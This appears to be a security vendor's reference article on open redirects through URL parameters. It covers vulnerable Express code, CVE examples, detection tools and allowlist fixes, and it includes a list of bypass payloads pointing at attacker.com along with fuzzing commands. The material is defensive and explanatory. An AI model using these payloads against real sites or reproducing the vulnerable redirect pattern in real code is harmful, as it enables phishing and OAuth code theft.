URL Parameter Redirect

What is URL Parameter Redirect?#

URL parameter redirect is the most prevalent form of open redirect (CWE-601). The application extracts a URL from a request parameter and passes it directly to the server's redirect function — res.redirect(req.query.next) in Express, return redirect(request.args["next"]) in Flask, HttpResponseRedirect(request.GET["next"]) in Django — without validating whether the destination host is on an allowlist.

The vulnerability is categorized under OWASP A01:2021 (Broken Access Control) because the application fails to enforce access control on which domains are valid redirect destinations. The root cause is treating URL parameters as trusted input for navigation decisions. According to HackerOne Hacktivity data, next and redirect parameter open redirects represent the single largest subcategory of CWE-601 reports.

Common parameter names in order of observed frequency: next, redirect, redirect_uri, redirect_url, url, goto, target, dest, destination, return, returnTo, forward, link, continue, callback, success, failure, r, u, redir, ref, return_url, back.

Mechanism#

The server-side flow in Express.js:

// VULNERABLE — passes user input directly to redirect
app.get("/login", (req, res) => {
  // Authentication logic...
  const next = req.query.next || "/dashboard";
  res.redirect(next);  // No host validation — open redirect
});

GET /login?next=https://attacker.com/capture HTTP/1.1
Host: trusted-app.com
 
HTTP/1.1 302 Found
Location: https://attacker.com/capture
Set-Cookie: session=...

The browser follows the Location header. The user sees trusted-app.com in the address bar during the initial GET — the domain is legitimate, email filters and link-preview services show it as safe. Only after the redirect does the attacker's domain appear.

Attack Variants and Bypass Payloads#

Direct Injection#

https://trusted-app.com/login?next=https://attacker.com
https://trusted-app.com/logout?redirect=https://attacker.com
https://trusted-app.com/auth/callback?return=https://attacker.com

URL Parser Differential Bypasses#

These payloads exploit the gap between server-side URL validation (Python urllib.parse or Node.js url.parse) and browser parsing (WHATWG):

# Protocol-relative (browser resolves as https://attacker.com)
?next=//attacker.com
?next=///attacker.com
 
# Backslash normalization (WHATWG normalizes \\ to /)
?next=\attacker.com
?next=\\attacker.com
?next=https:\attacker.com
 
# Control character prefix (browser strips tab/LF, server-side parser sees empty scheme)
?next=%09https://attacker.com
?next=%0Ahttps://attacker.com
 
# Userinfo abuse (trusted.com is the username, attacker.com is the host)
?next=https://trusted-app.com@attacker.com
?next=https://trusted-app.com%40attacker.com
 
# Suffix abuse (passes endsWith check, but host is attacker.com)
?next=https://trusted-app.com.attacker.com
 
# Double encoding
?next=%2540attacker.com
?next=https%3A%2F%2Fattacker.com
 
# Null byte (some validators stop at null byte)
?next=https://attacker.com%00.trusted-app.com
 
# Fragment (trusted-app.com appears after #, host is attacker.com)
?next=https://attacker.com%23trusted-app.com

Real-World Examples#

CVE-2025-69725 — go-chi RedirectSlashes (CVSS 6.1) The RedirectSlashes middleware in go-chi normalized double-slash paths. GET //evil.com HTTP/1.1 was interpreted as a path needing slash normalization, producing 302 Location: //evil.com. Browsers resolve //evil.com as https://evil.com (protocol-relative URL inheriting the current scheme). Any Go application using chi router with RedirectSlashes() middleware was vulnerable. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N.

// Vulnerable go-chi setup
r := chi.NewRouter()
r.Use(middleware.RedirectSlashes)  // CVE-2025-69725 — normalizes //evil.com
 
// Mitigation: validate path before redirect
func safeRedirectSlashes(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        path := r.URL.Path
        if strings.HasPrefix(path, "//") {
            http.Error(w, "Bad Request", 400)
            return
        }
        next.ServeHTTP(w, r)
    })
}

CVE-2025-4123 + CVE-2025-6023 — Grafana (CVSS 7.6 each) Grafana's /public/dashboards/ endpoint treated query string content as a URL component. GET /public/dashboards/?attacker.com produced a redirect to attacker.com. The initial patch (CVE-2025-4123) used string validation that was bypassed (CVE-2025-6023) because validation operated on raw input rather than the WHATWG-normalized form. The bypass demonstrated that string-based URL validation is insufficient — canonical normalization must precede validation.

CVE-2024-39322 — Strapi (CVSS 6.1) Strapi CMS passed user-controlled URL parameters directly to response.redirect(). Authenticated admin users could be redirected to phishing pages via crafted admin panel URLs, enabling credential theft. Fixed by adding host allowlist validation in the redirect handler.

CVE-2021-29156 — ForgeRock OpenAM goto Parameter (CVSS 9.8) The goto parameter in ForgeRock's authentication and OAuth flows accepted arbitrary external URLs. During OAuth authorization, the authorization code was appended to the goto URL before the redirect — goto=https://attacker.com?code=AUTH_CODE. The authorization code arrived at the attacker's server, enabling full account takeover. CVSS 9.8 because the chain bypassed authentication entirely.

Detection#

Manual Testing#

1. Map all redirect parameters: use gf redirect (tomnomnom/gf patterns) against Wayback Machine data for the target domain.
2. Identify all endpoints returning 30x responses — check each Location header for user-supplied content.
3. Submit a canary URL (Burp Collaborator, Interactsh) to each redirect parameter. Confirm: does Location contain your canary? Does the browser navigate there?
4. Run bypass payloads against any validation that rejects the direct injection:
   • //attacker.com — protocol-relative
   • \attacker.com — backslash normalization
   • %09https://attacker.com — tab prefix
   • https://trusted-app.com@attacker.com — userinfo abuse
5. Check path-based patterns: /go/, /redirect/, /r/, /out/, /external/ with the target URL as a path segment.

Automated Detection#

# OpenRedireX — async fuzzer with 50+ bypass payloads
cat urls.txt | openredirex -p /opt/open-redirect-payloads.txt
 
# nuclei — CVE templates + parameter fuzzing
nuclei -l targets.txt -t fuzzing/redirect-params.yaml
nuclei -l targets.txt -t cves/2025/CVE-2025-69725.yaml
 
# dalfox v3+ open-redirect mode
dalfox url "https://target.com/login?next=1" --open-redirect
 
# gf + waybackurls for parameter discovery
waybackurls target.com | gf redirect | sort -u

BreachVex detects URL parameter open redirects by injecting unique out-of-band canary URLs into all discovered redirect parameters during reconnaissance. A confirmed finding requires a 30x Location containing the canary, plus eTLD+1 normalization to eliminate same-origin false positives.

Prevention#

Primary Defense: Allowlist by Exact Hostname#

# Flask — GOOD
from urllib.parse import urlparse
from flask import request, redirect, url_for
 
ALLOWED_HOSTS = frozenset({"app.example.com", "dashboard.example.com"})
 
def _safe_redirect(url: str, fallback: str = "/dashboard") -> str:
    if not url:
        return fallback
    # Reject control characters
    if any(c in url for c in ["\r", "\n", "\t", "\x00"]):
        return fallback
    # Reject backslash (WHATWG normalizes to /, Python doesn't)
    if "\\" in url:
        return fallback
    parsed = urlparse(url)
    # Allow relative URLs starting with /
    if not parsed.netloc and url.startswith("/") and not url.startswith("//"):
        return url
    # External URLs must be on allowlist
    if parsed.netloc not in ALLOWED_HOSTS:
        return fallback
    return url
 
@app.route("/login")
def login():
    next_url = request.args.get("next", "/dashboard")
    return redirect(_safe_redirect(next_url))

// Express.js — GOOD
const ALLOWED_HOSTS = new Set(["app.example.com", "dashboard.example.com"]);
 
function isSafeRedirect(url) {
  // Relative URLs — allow if starting with single slash
  if (!url) return false;
  if (url.startsWith("/") && !url.startsWith("//")) return true;
  try {
    // WHATWG URL constructor normalizes the same way browsers do
    const parsed = new URL(url);
    return ALLOWED_HOSTS.has(parsed.hostname);
  } catch {
    return false;
  }
}
 
app.get("/login", (req, res) => {
  const next = req.query.next;
  const destination = isSafeRedirect(next) ? next : "/dashboard";
  res.redirect(destination);
});

Secondary Defense: Opaque State Token (Eliminates the Attack Surface)#

# Store destination before redirect — no URL in parameter
import secrets
import redis
 
redis_client = redis.Redis()
 
@app.route("/pre-login")
def pre_login():
    state = secrets.token_urlsafe(32)
    # Store the intended destination server-side
    redis_client.set(f"redirect:{state}", "/user/dashboard", ex=300)
    return redirect(f"/login?state={state}")
 
@app.route("/post-login")
def post_login():
    state = request.args.get("state", "")
    # Retrieve destination from server-side storage — never from user input
    raw = redis_client.get(f"redirect:{state}")
    destination = raw.decode() if raw else "/dashboard"
    redis_client.delete(f"redirect:{state}")
    return redirect(destination)

This pattern eliminates the attack surface entirely. There is no URL parameter containing a redirect destination — only an opaque token that maps to a server-side stored path.

Resources#

• OWASP Unvalidated Redirects and Forwards Cheat Sheet
• Diverto URL Filter Bypasses 2024
• CWE-601: URL Redirection to Untrusted Site
• PortSwigger Open Redirect Labs